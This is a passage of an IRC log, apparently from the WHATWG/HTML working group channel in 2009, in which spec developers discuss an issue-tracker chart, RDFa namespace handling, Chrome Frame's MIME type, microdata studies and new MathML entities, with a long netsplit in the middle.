  361. # [08:32] * Quits: vvv (n=vvv@mediawiki/VasilievVV) (Read error: 110 (Connection timed out))
  362. # [08:34] * Joins: Mrmil (n=ut_ollie@host-77-236-204-8.blue4.cz)
  363. # [08:38] * Joins: virtuelv (n=virtuelv@pat-tdc.opera.com)
  364. # [08:40] <othermaciej> ok, I got rid of the 3 Pending Review where I was confident I could do so without further consultation
  365. # [08:41] <othermaciej> I'm confused by the chart
  366. # [08:41] <othermaciej> there are 2 issues in PENDING REVIEW state and just a little while ago there were 5
  367. # [08:41] <othermaciej> but the chart makes it look like there are 50
  368. # [08:41] <othermaciej> did you perhaps reverse the CLOSED and PENDING REVIEW counts?
  369. # [08:41] <othermaciej> Hixie: ^
  370. # [08:41] <Hixie> hm, maybe
  371. # [08:41] * Hixie looks
  372. # [08:43] <Hixie> looks like i did, but i can't see why, since i take the states straight from the tracker
  373. # [08:43] <Hixie> oops
  374. # [08:43] <Hixie> i see what happened
  375. # [08:43] <Hixie> i sorted the fields in the header of the csv
  376. # [08:43] <Hixie> but didn't sort the fields of the data rows in the same way!
  377. # [08:44] * Hixie regenerates the data
  378. # [08:44] <othermaciej> that explains a lot
  379. # [08:45] * Joins: Maurice (n=ano@a80-101-46-164.adsl.xs4all.nl)
  380. # [08:46] * Joins: dave_levin_ (n=dave_lev@c-98-203-247-78.hsd1.wa.comcast.net)
  381. # [08:46] * Joins: matijsb (n=matijsb@hotfusion.demon.nl)
  382. # [08:47] <othermaciej> when you remove Origin and split out predefined vocabularies that will let me close 2 more issues by consensus
  383. # [08:48] <othermaciej> if MikeSmith proposes H:TML for FPWD as non-normative that will let me close two others
  384. # [08:49] <MikeSmith> I will do that but not this week
  385. # [08:49] <hsivonen> Hixie: it would be interesting to rerun the script that shows who is responsible for the most email on the list by attracting replies
  386. # [08:49] <othermaciej> I'm just looking for issues that seem resolvable without major wrangling
  387. # [08:49] <MikeSmith> (I was basically off this week for Monday through Wednesday due to the so-called Silver Week holidays here in Japan)
  388. # [08:50] * Quits: dave_levin_ (n=dave_lev@c-98-203-247-78.hsd1.wa.comcast.net) (Client Quit)
  389. # [08:50] * Joins: nessy (n=nessy@115.128.38.92)
  390. # [08:50] <othermaciej> yeah no prob
  391. # [08:51] <othermaciej> it would be nice to get under 20 OPEN+RAISED
  392. # [08:51] <othermaciej> from Hixie's chart it looks like we were very briefly right at 20 for that total
  393. # [08:56] * Quits: onar_ (n=onar@c-67-180-87-66.hsd1.ca.comcast.net)
  394. # [08:57] <Hixie> ok finished tweaking the chart
  395. # [08:57] <Hixie> to have pretty colours
  396. # [08:58] * Joins: zcorpan (n=zcorpan@c83-252-193-59.bredband.comhem.se)
  397. # [09:01] * Quits: mitnavn_ (n=mitnavn@0x5552b452.adsl.cybercity.dk) (Read error: 104 (Connection reset by peer))
  398. # [09:01] * Mrmil would like to see the chart. He likes pretty colours. :)
  399. # [09:01] * Quits: matijsb (n=matijsb@hotfusion.demon.nl)
  400. # [09:02] * Quits: dave_levin (n=dave_lev@72.14.224.1) (Read error: 110 (Connection timed out))
  401. # [09:03] <Hixie> Mrmil: http://damowmow.com/playground/htmlwg/chart.html
  402. # [09:03] <hsivonen> sigh. http://lists.w3.org/Archives/Public/public-rdf-in-xhtml-tf/2009Sep/0281.html
  403. # [09:04] <jgraham> Mrmil: In this case it will only be pleasing if the particular colours you like are green
  404. # [09:05] <Mrmil> :) I have troubles seeing the very light green. Talk about tilting someones head. Otherwise pretty cool
  405. # [09:05] * Joins: matijsb (n=matijsb@hotfusion.demon.nl)
  406. # [09:05] <jgraham> Speaking of pretty colours though wtf were they thinking at Yahoo when they added the ugly, wavy, serif, *purple* yahoo logo to the clean, san serif, pink and blue flickr logo?
  407. # [09:06] <MikeSmith> hsivonen: I noticed that one too. Isn't that actually an XML spec violation. or at least I'd think that expecting that all UAs are going to behave that way is perhaps not too prudent
  408. # [09:07] * Mrmil wonders if Hixie could make a <canvas> tut out of it...
  409. # [09:08] <Hixie> the lightest colour is meant to be more or less invisible
  410. # [09:09] <MikeSmith> light colors in general don't show up so well on my Apple MikeBook
  411. # [09:09] * Joins: lazni (n=lazni@123.24.170.198)
  412. # [09:09] <MikeSmith> I tried doing the gamma-adjustment thing but it doesn't seem to help much
  413. # [09:10] <MikeSmith> or maybe it's a feature that I'm meant to appreciate (the fact that the saturation of the colors changes drastically depending on the angle at which I view the screen)
  414. # [09:11] <hsivonen> MikeSmith: DOM Level 2 represents namespace information items as attributes in a magic namespace. the DOM is semi-bogus in terms of the infoset but at least this part is coherent
  415. # [09:12] <MikeSmith> OK
  416. # [09:12] <hsivonen> coerent but evidently highly unintuitive
  417. # [09:12] <hsivonen> *coherent
  418. # [09:12] <othermaciej> hsivonen: *sigh* because of the DOM Level 1-ness?
  419. # [09:12] * Quits: matijsb (n=matijsb@hotfusion.demon.nl)
  420. # [09:13] <hsivonen> othermaciej: sigh because of "surprise" and completely missing the point
  421. # [09:13] <hsivonen> http://intertwingly.net/blog/2009/09/22/Chromie is awesomeness
  422. # [09:13] <othermaciej> And the follow-up
  423. # [09:14] <othermaciej> hsivonen: it's kind of funny that his implementation was designed to work in HTML rather than XHTML when the spec covers the latter but not the former
  424. # [09:14] <hsivonen> othermaciej: and Level 1-ness also
  425. # [09:15] * Joins: pesla (n=retep@procurios.xs4all.nl)
  426. # [09:15] <hsivonen> othermaciej: no so funny if one wants proper specs for the platform
  427. # [09:17] <othermaciej> hsivonen: changing the subject a few degrees - assuming it's intended to capture both real XML namespace declarations, and attributes in HTML that look like them, should the processing requirements say to consider any attribute whose tagName starts with "xmlns:", or separately attributes in the xmlns namespace and attributes in the null namespace whose localNames start with "xmlns:"?
  428. # [09:17] <othermaciej> hsivonen: and should both be allowed in both syntaxes?
  429. # [09:18] <hsivonen> othermaciej: I think dispatching on nodeName is achitecturally unsound
  430. # [09:19] <othermaciej> I'm not sure if it's practically different from the two-pronged test
  431. # [09:19] <hsivonen> othermaciej: I don't want to go there, but maybe the spec needs to go there to paper over the damage
  432. # [09:19] * Joins: benward (n=benward@98.210.154.133)
  433. # [09:19] <othermaciej> is it possible to get an attribute whose nodeName starts with "xmlns:" without it being in either the null namespace or the xmlns namespace?
  434. # [09:20] <Hixie> i can't believe y'all are spending so much time on something as fundamentally broken as rdfa
  435. # [09:20] <hsivonen> othermaciej: not AFAICT
  436. # [09:21] <othermaciej> so either way of saying it would be equivalent in practice, though perhaps the two-pronged version seems architecturally cleaner
  437. # [09:21] <othermaciej> Hixie: my thinking on RDFa is that it's less damaging to spec it soundly and unambiguously (including use in text/html) than to not spec it
  438. # [09:22] <othermaciej> not because I think it's awesome but because failing to spec it will just create more interop failure
  439. # [09:22] <hsivonen> Hixie: my interest is damage mitigation to parts of the stack I work on
  440. # [09:22] <othermaciej> otoh maybe the process of specing it will result in some enhancements that make it easier to use right
  441. # [09:23] <jgraham> Hixie: I am strongly reminded of the Sirius Cybernetics Corporation: "[o]ne is blinded to the fundamental uselessness of their products by the sense of achievement one feels in getting them to work at all. In other words, their fundamental design flaws are completely hidden by their superficial design flaws."
  442. # [09:24] <othermaciej> that being said, it seems funny that people who don't like RDFa at a design level are much more interested in having a really precise spec for it than people who do like it
  443. # [09:27] <zcorpan> hsivonen: i guess it shows Ben's level of experience with XHTML and the DOM
  444. # [09:27] * Quits: lazni1 (n=lazni@123.24.170.198) (Read error: 110 (Connection timed out))
  445. # [09:28] <Hixie> it's more that the time you're spending on this feature is time not spent on many much more important features that much more desperately need speccing
  446. # [09:28] <Hixie> like, DOM Core
  447. # [09:28] <Hixie> user interaction events like 'click'
  448. # [09:28] <Hixie> even DOM Traversal and DOM Range would be more important than RDFa
  449. # [09:28] <erlehmann> Hixie, about the metadata issue. when do you think will this part of the spec have a chance of becoming stable ?
  450. # [09:28] <Hixie> erlehmann: hm?
  451. # [09:29] <othermaciej> I don't think I can help DOM Core without a competent person stepping up to be editor
  452. # [09:29] <othermaciej> but I can probably help File API
  453. # [09:29] <othermaciej> planning to go over it with weinig and/or ap soon
  454. # [09:30] <erlehmann> Hixie, well, when i built something with microdata and the spec changed, i raged a little for being so careless and not asking if this feature is intended to be stable.
  455. # [09:30] <erlehmann> so i guess i should use RDFa for now, till HTML5 gets its way
  456. # [09:31] <Hixie> erlehmann: oh you mean microdata?
  457. # [09:32] <Hixie> erlehmann: we're doing studies for microdata in the coming days, the spec should be done in a few weeks
  458. # [09:32] <erlehmann> oh nice :)
  459. # [09:33] <zcorpan> i wonder if chrome frame looks at the x-ua-compatible http header
  460. # [09:34] <erlehmann> zcorpan, i wonder why chrome frame doesn't actually trigger when IE is in „standards“ mode.
  461. # [09:34] <zcorpan> erlehmann: that'd break sites
  462. # [09:35] <zcorpan> well, to the same extent they break in chrome, i guess, but surely that's enough for people to uninstall the plugin
  463. # [09:35] <erlehmann> zcorpan, really ? wouldnt IE-broken sites trigger quirks mode anyway ?
  464. # [09:35] * Joins: tantek (n=tantek@70.36.139.108)
  465. # [09:35] <zcorpan> erlehmann: uh, no
  466. # [09:36] <erlehmann> zcorpan, so what kind of breakage are you referring to ? i must admit i have not touched internet explorer for more than a year, except to make test screenshots of CSS layouts (does everything look alright ? hell, no.).
  467. # [09:37] <zcorpan> well, imagine a bank that uses an xhtml doctype and requires activex to log in
  468. # [09:37] * Quits: dbaron (n=dbaron@c-98-234-51-190.hsd1.ca.comcast.net) ("8403864 bytes have been tenured, next gc will be global.")
  469. # [09:37] * Quits: roc (n=roc@203-97-204-82.dsl.clear.net.nz)
  470. # [09:38] <erlehmann> doesn't chrome come with an activeX shim plugin, like mozilla browsers do on windows ?
  471. # [09:38] <zcorpan> dunno
  472. # [09:39] <zcorpan> does firefox have an activex shim by default?
  473. # [09:39] <hsivonen> zcorpan: not by default afaik
  474. # [09:40] <zcorpan> ok
  475. # [09:40] <hsivonen> zcorpan: that wouldn't promote freedom and choice of OS on the Internet
  476. # [09:40] <zcorpan> indeed
  477. # [09:40] * Joins: Rik` (n=Rik`@pha75-2-81-57-187-57.fbx.proxad.net)
  478. # [09:41] <erlehmann> wise words, hsivonen, wise words.
  479. # [09:41] <zcorpan> i wonder, will chrome frame be able to run in chrome's quirks mode?
  480. # [09:43] * zcorpan notes that http://ben.adida.net/index.xhtml has its style sheet commented out
  481. # [09:44] <zcorpan> Hixie: maybe we should change <style>'s and <script>'s processing model to also look at comment nodes, not just text nodes
  482. # [09:44] <Hixie> why would we do that
  483. # [09:44] <Philip`> Just tell people not to use comments in style/script
  484. # [09:44] <hsivonen> zcorpan: XML processors are permitted to discard comments
  485. # [09:45] <zcorpan> hsivonen: hmm, good point
  486. # [09:45] <Philip`> and if they still want Netscape 2 compatibility then they shouldn't be using XHTML
  487. # [09:45] <zcorpan> Hixie: to ease migration to xhtml
  488. # [09:45] <Hixie> comments are comments
  489. # [09:45] <Hixie> we're not going to execute script in comments
  490. # [09:45] <Hixie> that's a security nightmare waiting to happen
  491. # [09:51] * Joins: webben (n=benh@dip5-fw.corp.ukl.yahoo.com)
  492. # [09:54] * Quits: tantek (n=tantek@70.36.139.108)
  493. # [09:57] <Hixie> ok last chance for people to comment on the microdata study materials http://damowmow.com/playground/microdata/
  494. # [09:58] * Joins: tantek (n=tantek@70.36.139.108)
  495. # [09:59] * Quits: nessy (n=nessy@115.128.38.92) (Read error: 145 (Connection timed out))
  496. # [10:00] * Joins: lazni1 (n=lazni@123.24.170.198)
  497. # [10:10] * Quits: othermaciej (n=mjs@c-69-181-42-237.hsd1.ca.comcast.net)
  498. # [10:12] * zcorpan looks
  499. # [10:14] * Joins: mat_t (n=mattomas@91.189.88.12)
  500. # [10:14] <zcorpan> Hixie: you're not going to do usability study on reversed dns identifiers?
  501. # [10:14] <Hixie> no
  502. # [10:14] * Joins: nessy (n=nessy@115.128.22.74)
  503. # [10:14] <Hixie> not sure how we would do that
  504. # [10:18] * Quits: lazni (n=lazni@123.24.170.198) (Read error: 110 (Connection timed out))
  505. # [10:29] * Joins: Phae (n=phaeness@gateb.mh.bbc.co.uk)
  506. # [10:31] * Quits: mat_t (n=mattomas@91.189.88.12) ("This computer has gone to sleep")
  507. # [10:34] * Joins: mat_t (n=mattomas@91.189.88.12)
  508. # [10:40] <Philip`> "the time you're spending on this feature is time not spent on many much more important features that much more desperately need speccing, like, DOM Core, user interaction events like 'click'" - those would require us to do all the work, whereas with RDFa the RDFa people can do most of the work and just need to be guided in the direction that we want
  509. # [10:43] <Philip`> http://groups.google.com/group/google-chrome-frame/msg/c9fd31929ff7d7fc - "we aren't supporting the HTTP header (although we do support a separate MIME type, application/chromeframe)"
  510. # [10:43] <Hixie> sending e-mails is free?
  511. # [10:46] * Joins: ROBOd (n=robod@89.122.216.38)
  512. # [10:46] <Philip`> No, but the effect can be much greater than the effort put into writing it
  513. # [10:48] <zcorpan> Philip`: ouch, separate mime type?
  514. # [10:48] <jgraham> ?!?
  515. # [10:49] <Philip`> Seems perfectly sensible given that MIME types are designed to identify the client, not the content
  516. # [10:49] <Philip`> (by which I mean the exact opposite)
  517. # [10:49] <zcorpan> what is the chrome team smoking?
  518. # [10:50] <zcorpan> is there a heading sent with the request to tell the server that the plugin is available?
  519. # [10:51] <Philip`> I think someone said it adds "chromeframe" to the UA string
  520. # [10:52] <Philip`> (Maybe the MIME type is just an implementation detail of how they make IE re-render the page using the new engine, or something, and not intended to be used externally)
  521. # [10:52] * Quits: gavin_ (n=gavin@firefox/developer/gavin) (Read error: 110 (Connection timed out))
  522. # [10:52] * Joins: gavin_ (n=gavin@firefox/developer/gavin)
  523. # [10:53] * Joins: mpt (n=mpt@canonical/mpt)
  524. # [10:53] <zcorpan> at some point we should do a crawl with the chromeframe UA string to see how many return application/chromeframe
  525. # [10:54] * Quits: GarethAdams|Home (n=GarethAd@5ac17d0b.bb.sky.com)
  526. # [10:58] * Quits: benward (n=benward@98.210.154.133) ("Sleep")
  527. # [10:59] <Philip`> http://wave.google.com/ - <meta name="keywords” content=”online collaboration, online communication, collaborative editing, web application, photo sharing,developer preview" /> - hooray for curly quotes
  528. # [11:00] <Philip`> (They don't even make the page invalid)
  529. # [11:01] <Philip`> (Actually I suppose they do in HTML5 because the keyword won't be recognised)
  530. # [11:01] <Philip`> (...and because there's no content attribute)
  531. # [11:02] <Philip`> (So, okay, they do make the page invalid)
  532. # [11:02] * Quits: tantek (n=tantek@70.36.139.108)
  533. # [11:03] * hsivonen foresees trouble with the chrome frame MIME type
  534. # [11:04] <hsivonen> in other news, I got a split parser Gecko finally show me some content
  535. # [11:04] * Joins: svl (n=me@f050215147.adsl.alicedsl.de)
  536. # [11:05] <zcorpan> hmm, two new entities
  537. # [11:05] <zcorpan> + <tr> <td> <code title="">bsolhsub;</code> </td> <td> U+027C8 </td> </tr>
  538. # [11:05] <zcorpan> + <tr> <td> <code title="">suphsol;</code> </td> <td> U+027C9 </td> </tr>
  539. # [11:05] <hsivonen> sigh. the dual parser core stuff still isn't right, though
  540. # [11:06] <hsivonen> zcorpan: did the Math WG just mint those?
  541. # [11:06] <zcorpan> dunno
  542. # [11:06] * jgraham wonders what those represent
  543. # [11:06] <jgraham> Because they look more like fortran 77 variable names than anything
  544. # [11:07] <zcorpan> i wonder why mathml has all these entities at all
  545. # [11:07] <jgraham> zcorpan: It's nice for hand authouring, like LaTeX.
  546. # [11:07] <zcorpan> mathml is not nice for hand authoring
  547. # [11:07] <jgraham> Of course the rest of MathML sucks for hand authoring
  548. # [11:11] * Quits: da3d (n=opera@h11n1fls34o986.telia.com) (verne.freenode.net irc.freenode.net)
  549. # [11:11] * Quits: AryehGregor (n=Simetric@mediawiki/simetrical) (verne.freenode.net irc.freenode.net)
  550. # [11:11] * Quits: Maurice (n=ano@a80-101-46-164.adsl.xs4all.nl) (verne.freenode.net irc.freenode.net)
  551. # [11:11] * Quits: Mrmil (n=ut_ollie@host-77-236-204-8.blue4.cz) (verne.freenode.net irc.freenode.net)
  552. # [11:11] * Quits: wakaba_0 (n=wakaba_@122x221x184x68.ap122.ftth.ucom.ne.jp) (verne.freenode.net irc.freenode.net)
  553. # [11:11] * Quits: Hixie (i=ianh@trivini.no) (verne.freenode.net irc.freenode.net)
  554. # [11:11] * Quits: broquaint (i=4776acbc@spc2-brig11-0-0-cust222.asfd.cable.virginmedia.com) (verne.freenode.net irc.freenode.net)
  555. # [11:11] * Quits: syp (n=syp@lasigpc9.epfl.ch) (verne.freenode.net irc.freenode.net)
  556. # [11:11] * Quits: mat_t (n=mattomas@91.189.88.12) (verne.freenode.net irc.freenode.net)
  557. # [11:11] * Quits: jcranmer (n=jcranmer@ltsp2.csl.tjhsst.edu) (verne.freenode.net irc.freenode.net)
  558. # [11:11] * Quits: kinetik (n=kinetik@121.98.132.55) (verne.freenode.net irc.freenode.net)
  559. # [11:11] * Quits: aboodman (n=aboodman@72.14.229.81) (verne.freenode.net irc.freenode.net)
  560. # [11:11] * Quits: hendry (n=hendry@webvm.net) (verne.freenode.net irc.freenode.net)
  561. # [11:11] * Quits: webben (n=benh@dip5-fw.corp.ukl.yahoo.com) (verne.freenode.net irc.freenode.net)
  562. # [11:11] * Quits: Amorphous (i=jan@unaffiliated/amorphous) (verne.freenode.net irc.freenode.net)
  563. # [11:11] * Quits: w3bg33k (n=web@209.23.97.78) (verne.freenode.net irc.freenode.net)
  564. # [11:11] * Quits: pererik (n=pe@unaffiliated/pererik) (verne.freenode.net irc.freenode.net)
  565. # [11:11] * Quits: jmb (n=jmb@login.ecs.soton.ac.uk) (verne.freenode.net irc.freenode.net)
  566. # [11:11] * Quits: mookid (i=mookid@ROFL.name) (verne.freenode.net irc.freenode.net)
  567. # [11:11] * Quits: shepazu (n=schepers@adsl-227-105-48.rmo.bellsouth.net) (verne.freenode.net irc.freenode.net)
  568. # [11:12] * Quits: nessy (n=nessy@115.128.22.74) (verne.freenode.net irc.freenode.net)
  569. # [11:12] * Quits: inimino (n=inimino@67.207.138.202) (verne.freenode.net irc.freenode.net)
  570. # [11:12] * Quits: pablof (n=palbo@213.236.208.22) (verne.freenode.net irc.freenode.net)
  571. # [11:12] * Quits: Darxus (n=darxus@64.71.152.40) (verne.freenode.net irc.freenode.net)
  572. # [11:12] * Quits: scherkus (n=scherkus@74.125.59.73) (verne.freenode.net irc.freenode.net)
  573. # [11:12] * Quits: drry (n=drry@211.9.170.91) (verne.freenode.net irc.freenode.net)
  574. # [11:12] * Quits: JohnResig (n=JohnResi@74.201.255.121) (verne.freenode.net irc.freenode.net)
  575. # [11:12] * Quits: alexbobp (n=alex@75.42.224.116) (verne.freenode.net irc.freenode.net)
  576. # [11:12] * Quits: mpt (n=mpt@canonical/mpt) (verne.freenode.net irc.freenode.net)
  577. # [11:12] * Quits: gavin_ (n=gavin@firefox/developer/gavin) (verne.freenode.net irc.freenode.net)
  578. # [11:12] * Quits: virtuelv (n=virtuelv@pat-tdc.opera.com) (verne.freenode.net irc.freenode.net)
  579. # [11:12] * Quits: Rik|work (n=Rik|work@fw01d.skyrock.net) (verne.freenode.net irc.freenode.net)
  580. # [11:12] * Quits: wakaba (n=wakaba@221.157.197.113.dy.bbexcite.jp) (verne.freenode.net irc.freenode.net)
  581. # [11:12] * Quits: franksalim (n=frank@adsl-75-61-85-210.dsl.pltn13.sbcglobal.net) (verne.freenode.net irc.freenode.net)
  582. # [11:12] * Quits: annevk2 (n=annevk@pat-tdc.opera.com) (verne.freenode.net irc.freenode.net)
  583. # [11:12] * Quits: eml (i=eml@irk.bob.fi) (verne.freenode.net irc.freenode.net)
  584. # [11:12] * Quits: vs-hs (i=david@shell.etttretresju.net) (verne.freenode.net irc.freenode.net)
  585. # [11:12] * Quits: Philip` (n=philip@zaynar.co.uk) (verne.freenode.net irc.freenode.net)
  586. # [11:12] * Quits: karlcow (n=karl@nerval.la-grange.net) (verne.freenode.net irc.freenode.net)
  587. # [11:12] * Quits: doobar (i=david@bsdguru.net) (verne.freenode.net irc.freenode.net)
  588. # [11:12] * Quits: steevel (n=steevel@irc.kodslav.org) (verne.freenode.net irc.freenode.net)
  589. # [11:12] * Quits: yusukes (n=yusukes@220.109.219.244) (verne.freenode.net irc.freenode.net)
  590. # [11:12] * Quits: hamaji (n=hamaji@220.109.219.244) (verne.freenode.net irc.freenode.net)
  591. # [11:12] * Quits: fupp (n=User@mg038a.studby.ntnu.no) (verne.freenode.net irc.freenode.net)
  592. # [11:12] * Quits: fishd (n=darin@72.14.224.1) (verne.freenode.net irc.freenode.net)
  593. # [11:12] * Quits: murr4y (n=murray@85.84-49-67.nextgentel.com) (verne.freenode.net irc.freenode.net)
  594. # [11:12] * Quits: tkent (n=tkent@220.109.219.244) (verne.freenode.net irc.freenode.net)
  595. # [11:12] * Quits: Lachy (n=Lachlan@85.196.122.246) (verne.freenode.net irc.freenode.net)
  596. # [11:12] * Quits: lazni1 (n=lazni@123.24.170.198) (verne.freenode.net irc.freenode.net)
  597. # [11:12] * Quits: MikeSmith (n=MikeSmit@tea12.w3.mag.keio.ac.jp) (verne.freenode.net irc.freenode.net)
  598. # [11:12] * Quits: Dashiva (i=Dashiva@wikia/Dashiva) (verne.freenode.net irc.freenode.net)
  599. # [11:12] * Quits: dimich (n=dimich@74.125.59.73) (verne.freenode.net irc.freenode.net)
  600. # [11:12] * Quits: eighty4 (n=eighty4@eighty4.se) (verne.freenode.net irc.freenode.net)
  601. # [11:12] * Quits: sebmarkbage (n=miranda@h-73-244.A146.priv.bahnhof.se) (verne.freenode.net irc.freenode.net)
  602. # [11:12] * Quits: Kuruma (n=Kuruman@p3160-ipbf2309hodogaya.kanagawa.ocn.ne.jp) (verne.freenode.net irc.freenode.net)
  603. # [11:12] * Quits: ukai (n=ukai@220.109.219.244) (verne.freenode.net irc.freenode.net)
  604. # [11:12] * Quits: nattokirai (n=nattokir@gw0.mozilla.or.jp) (verne.freenode.net irc.freenode.net)
  605. # [11:12] * Quits: svl (n=me@f050215147.adsl.alicedsl.de) (verne.freenode.net irc.freenode.net)
  606. # [11:12] * Quits: Phae (n=phaeness@gateb.mh.bbc.co.uk) (verne.freenode.net irc.freenode.net)
  607. # [11:12] * Quits: erlehmann (n=erlehman@tmo-104-233.customers.d1-online.com) (verne.freenode.net irc.freenode.net)
  608. # [11:12] * Quits: Tristan (i=Tristan@unaffiliated/tristan) (verne.freenode.net irc.freenode.net)
  609. # [11:12] * Quits: yutak (n=yutak@220.109.219.244) (verne.freenode.net irc.freenode.net)
  610. # [11:12] * Quits: ivan` (n=ivan@unaffiliated/ivan/x-000001) (verne.freenode.net irc.freenode.net)
  611. # [11:12] * Quits: gsnedders (n=gsnedder@host217-44-35-222.range217-44.btcentralplus.com) (verne.freenode.net irc.freenode.net)
  612. # [11:12] * Quits: mpilgrim (n=mpilgrim@rrcs-96-10-240-189.midsouth.biz.rr.com) (verne.freenode.net irc.freenode.net)
  613. # [11:12] * Quits: barklund (i=barklund@rapwap.razor.dk) (verne.freenode.net irc.freenode.net)
  614. # [11:12] * Quits: beowulf (i=wiglaf@ps4552.dreamhost.com) (verne.freenode.net irc.freenode.net)
  615. # [11:12] * Quits: deltab (n=deltab@82-36-30-34.cable.ubr02.smal.blueyonder.co.uk) (verne.freenode.net irc.freenode.net)
  616. # [11:12] * Quits: mitsuhiko (n=mitsuhik@ubuntu/member/mitsuhiko) (verne.freenode.net irc.freenode.net)
  617. # [11:12] * Quits: ROBOd (n=robod@89.122.216.38) (verne.freenode.net irc.freenode.net)
  618. # [11:12] * Quits: zcorpan (n=zcorpan@c83-252-193-59.bredband.comhem.se) (verne.freenode.net irc.freenode.net)
  619. # [11:12] * Quits: heycam (n=cam@210-84-32-112.dyn.iinet.net.au) (verne.freenode.net irc.freenode.net)
  620. # [11:12] * Quits: othree (n=othree@admin39.ct.ntust.edu.tw) (verne.freenode.net irc.freenode.net)
  621. # [11:12] * Quits: hober (n=ted@unaffiliated/hober) (verne.freenode.net irc.freenode.net)
  622. # [11:12] * Quits: tyoshino (n=tyoshino@220.109.219.244) (verne.freenode.net irc.freenode.net)
  623. # [11:12] * Quits: and (n=and@apo29.girton.cam.ac.uk) (verne.freenode.net irc.freenode.net)
  624. # [11:12] * Quits: gavin (n=gavin@firefox/developer/gavin) (verne.freenode.net irc.freenode.net)
  625. # [11:12] * Quits: onar (n=onar@17.226.20.255) (verne.freenode.net irc.freenode.net)
  626. # [11:12] * Quits: peritus- (n=peritus@ircbridge.mahner.org) (verne.freenode.net irc.freenode.net)
  627. # [11:14] * Joins: deltab (n=deltab@82-36-30-34.cable.ubr02.smal.blueyonder.co.uk)
  628. # [11:14] * Joins: barklund (i=barklund@rapwap.razor.dk)
  629. # [11:14] * Joins: nattokirai (n=nattokir@gw0.mozilla.or.jp)
  630. # [11:14] * Joins: ukai (n=ukai@220.109.219.244)
  631. # [11:14] * Joins: beowulf (i=wiglaf@ps4552.dreamhost.com)
  632. # [11:14] * Joins: Kuruma (n=Kuruman@p3160-ipbf2309hodogaya.kanagawa.ocn.ne.jp)
  633. # [11:14] * Joins: eighty4 (n=eighty4@eighty4.se)
  634. # [11:14] * Joins: mitsuhiko (n=mitsuhik@ubuntu/member/mitsuhiko)
  635. # [11:14] * Joins: dimich (n=dimich@74.125.59.73)
  636. # [11:14] * Joins: mookid (i=mookid@ROFL.name)
  637. # [11:14] * Joins: Hixie (i=ianh@trivini.no)
  638. # [11:14] * Joins: broquaint (i=4776acbc@spc2-brig11-0-0-cust222.asfd.cable.virginmedia.com)
  639. # [11:14] * Joins: Darxus (n=darxus@64.71.152.40)
  640. # [11:14] * Joins: shepazu (n=schepers@adsl-227-105-48.rmo.bellsouth.net)
  641. # [11:14] * Joins: syp (n=syp@lasigpc9.epfl.ch)
  642. # [11:14] * Joins: pererik (n=pe@unaffiliated/pererik)
  643. # [11:14] * Joins: drry (n=drry@211.9.170.91)
  644. # [11:14] * Joins: pablof (n=palbo@213.236.208.22)
  645. # [11:14] * Joins: hendry (n=hendry@webvm.net)
  646. # [11:14] * Joins: aboodman (n=aboodman@72.14.229.81)
  647. # [11:14] * Joins: alexbobp (n=alex@75.42.224.116)
  648. # [11:14] * Joins: scherkus (n=scherkus@74.125.59.73)
  649. # [11:14] * Joins: jmb (n=jmb@login.ecs.soton.ac.uk)
  650. # [11:14] * Joins: JohnResig (n=JohnResi@74.201.255.121)
  651. # [11:14] * Joins: inimino (n=inimino@67.207.138.202)
  652. # [11:14] * Joins: kinetik (n=kinetik@121.98.132.55)
  653. # [11:14] * Joins: Amorphous (i=jan@unaffiliated/amorphous)
  654. # [11:14] * Joins: Lachy (n=Lachlan@85.196.122.246)
  655. # [11:14] * Joins: mpilgrim (n=mpilgrim@rrcs-96-10-240-189.midsouth.biz.rr.com)
  656. # [11:14] * Joins: gsnedders (n=gsnedder@host217-44-35-222.range217-44.btcentralplus.com)
  657. # [11:14] * Joins: Dashiva (i=Dashiva@wikia/Dashiva)
  658. # [11:14] * Joins: ivan` (n=ivan@unaffiliated/ivan/x-000001)
  659. # [11:14] * Joins: tkent (n=tkent@220.109.219.244)
  660. # [11:14] * Joins: w3bg33k (n=web@209.23.97.78)
  661. # [11:14] * Joins: murr4y (n=murray@85.84-49-67.nextgentel.com)
  662. # [11:14] * Joins: wakaba_0 (n=wakaba_@122x221x184x68.ap122.ftth.ucom.ne.jp)
  663. # [11:14] * Joins: yutak (n=yutak@220.109.219.244)
  664. # [11:14] * Joins: jcranmer (n=jcranmer@ltsp2.csl.tjhsst.edu)
  665. # [11:14] * Joins: da3d (n=opera@h11n1fls34o986.telia.com)
  666. # [11:14] * Joins: AryehGregor (n=Simetric@mediawiki/simetrical)
  667. # [11:14] * Joins: Tristan (i=Tristan@unaffiliated/tristan)
  668. # [11:14] * Joins: MikeSmith (n=MikeSmit@tea12.w3.mag.keio.ac.jp)
  669. # [11:14] * Joins: erlehmann (n=erlehman@tmo-104-233.customers.d1-online.com)
  670. # [11:14] * Joins: Mrmil (n=ut_ollie@host-77-236-204-8.blue4.cz)
  671. # [11:14] * Joins: Maurice (n=ano@a80-101-46-164.adsl.xs4all.nl)
  672. # [11:14] * Joins: webben (n=benh@dip5-fw.corp.ukl.yahoo.com)
  673. # [11:14] * Joins: Phae (n=phaeness@gateb.mh.bbc.co.uk)
  674. # [11:14] * Joins: mat_t (n=mattomas@91.189.88.12)
  675. # [11:14] * Joins: svl (n=me@f050215147.adsl.alicedsl.de)
  676. # [11:15] * Joins: ROBOd (n=robod@89.122.216.38)
  677. # [11:15] * Joins: zcorpan (n=zcorpan@c83-252-193-59.bredband.comhem.se)
  678. # [11:15] * Joins: heycam (n=cam@210-84-32-112.dyn.iinet.net.au)
  679. # [11:15] * Joins: othree (n=othree@admin39.ct.ntust.edu.tw)
  680. # [11:15] * Joins: hober (n=ted@unaffiliated/hober)
  681. # [11:15] * Joins: tyoshino (n=tyoshino@220.109.219.244)
  682. # [11:15] * Joins: and (n=and@apo29.girton.cam.ac.uk)
  683. # [11:15] * Joins: gavin (n=gavin@firefox/developer/gavin)
  684. # [11:15] * Joins: onar (n=onar@17.226.20.255)
  685. # [11:15] * Joins: peritus- (n=peritus@ircbridge.mahner.org)
  686. # [11:15] <erlehmann> SEE WHAT MATHML DOES TO IRC ?
  687. # [11:20] <zcorpan> erlehmann: shh, don't mention its name
  688. # [11:21] <erlehmann> zcorpan, but you were AWAY
  689. # [11:22] <zcorpan> each entity causes 3 users to disconnect
  690. # [11:24] <jgraham> U+27C8 Reverse Solidus Preceding Subset
  691. # [11:24] <jgraham> U+27C9 Superset Preceding Solidus
  692. # [11:24] * Joins: mitnavn (n=mitnavn@unaffiliated/mitnavn)
  693. # [11:24] * Joins: sirdarckcat (n=sdc@121.0.29.226)
  694. # [11:27] <sirdarckcat> Hello! is there anybody alive?
  695. # [11:27] <Hixie> i'm alive!
